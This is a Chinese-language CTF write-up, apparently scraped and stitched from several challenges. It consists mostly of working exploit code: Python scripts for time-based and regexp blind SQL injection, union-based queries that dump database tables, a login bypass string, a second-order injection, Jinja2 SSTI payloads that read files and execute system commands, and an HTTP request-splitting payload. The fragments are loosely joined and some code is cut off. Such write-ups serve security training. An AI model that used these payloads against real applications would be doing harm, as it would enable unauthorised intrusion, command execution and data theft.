def req(payload,asc): url = "http://caddecc79f07485cb789f035fc7b3c3027c1555d32204a11.changame.ichunqiu.com/index.php?register" header = { 'X - Requested - With': 'XMLHttpRequest' } data = { "regname": payload, "regpass": "1" } st = time.time() r = requests.post(url, headers=header,data=data, timeout=100) if r.status_code != 200: return req(payload, asc) else: if time.time() - st > 2: return asc else: return '' i = 1 while i < 10: for j in range(30,148): j = chr(j) k = j.encode('hex') username = "'^(case hex(mid((select flaaag from flag limit 1 offset 0) from 37 for "+str(i)+")) when '"+ hex_database+ k +"' then sleep(3) else 'b' end)+'0" print username if req(username,j)!='': database = database + j # 这儿的j是字母 hex_database = hex_database + k # 这儿的k是字母对应的hex print database break i = i + 1
方法二:弱口令+SQL注入查询
登陆处万能密码 1’ or 1=1# 然后在blank page查询处查flag
1 2 3 4 5 6 7 8
1' union select 1,database(),3,4,5# // database():nzhaopin 1' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()# // backup,flag,user 1' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='flag'# // id,flaaag 1' union select 1,group_concat(flaaag),3,4,5 from flag# // flag{548f455e-fc8f-48c4-95ea-62ee4b645a68}
方法三:二次注入
猜测注册的语句应该是$sql=insert into table values($id,'$username','$password','$key')
构造payload如下:
1 2 3 4 5 6 7
注册: test','202cb962ac59075b964b07152d234b70',(select group_concat(table_name) from information_schema.tables where table_schema=database()))# 登录: 账号:test 密码:123 得到数据库:backup,flag,user 同理进一步查询可以得到flag
1.5 盲注
waf了= <> like select union * '等,使用regex进行正则匹配
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
import requests import time url = "http://0013a95d8ad14842a9bcba0096d069cb38ec1889e4534760.changame.ichunqiu.com/index.php?id=1 " list = "qwertyuiopasdfghjklzxcvbnm_-0123456789{}"
flag = "flag{af35b43b" for j in range(35): for i in list: st = time.time() payload = url + '''and if((fl4g regexp "^{}"),sleep(3),null)'''.format(flag+i) r = requests.get(payload, timeout=100) if time.time() - st > 2: print i flag=flag+i else: pass print flag
class User { public $id; public $age = null; public $nickname = null; }
class Info { public $age; public $nickname; public $CtrlCase;
public function __construct($age, $nickname) { $this->age = $age; $this->nickname = $nickname; } }
Class UpdateHelper { public $id; public $newinfo; public $sql;
public function __construct($newInfo, $sql) { $newInfo = unserialize($newInfo); $upDate = new dbCtrl(); } }
class dbCtrl { public $hostname = "127.0.0.1"; public $dbuser = "root"; public $dbpass = "root"; public $database = "test"; public $name = "admin"; public $password; public $mysqli; public $token = "admin";
}
$db = new dbCtrl(); $user = new User(); $info = new Info('','1'); #echo serialize($info); $updatehelper = new UpdateHelper("1", "");
def exp1(): str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','') flag = '' select = 'select group_concat(table_name) from sys.x$schema_flattened_keys' for j in range(1,40): for i in str1: paylaod = "1/**/&&/**/(select substr(({}),{},1))='{}'".format(select, j, i) #print(paylaod) data = { 'id': paylaod, } r = requests.post(url,data=data) if 'Nu1L' in r.text: flag += i print(flag) break
def exp2(): str1 = ('-0123456789'+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").replace('"','').replace('\\','') flag = '' flag_table_name = 'f1ag_1s_h3r3_hhhhh' for j in range(1,39): for i in str1: i = flag+i paylaod = "1&&((select 1,concat('{}~',CAST('0' as json))) < (select * from {} limit 1))".format(i,flag_table_name) print(paylaod) data = { 'id': paylaod, } r = requests.post(url,data=data)
if 'Nu1L' not in r.text: flag=i print(flag) break
if __name__ == '__main__': exp1() exp2()
第三天
3.1 Flaskapp
ssti+pin码的安全机制
payload如下
1 2 3 4 5 6
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('想要读取的文件', 'r').read() }}{% endif %}{% endfor %} 或者 {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('想要读取的文件').read()}} 或者 {{[].__class__.__base__.__subclasses__()[127].__init__.__globals__['sys'+'tem']('ls /')}} 反弹shell
GET /flag HTTP/1.1 Host: x Connection: close x:''' payload = payload.replace("\n", "\r\n") payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload) print(payload) r = requests.get('http://707e299e-f951-4d9b-ac8a-bc2c3de5a2b8.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload)) print(r.text)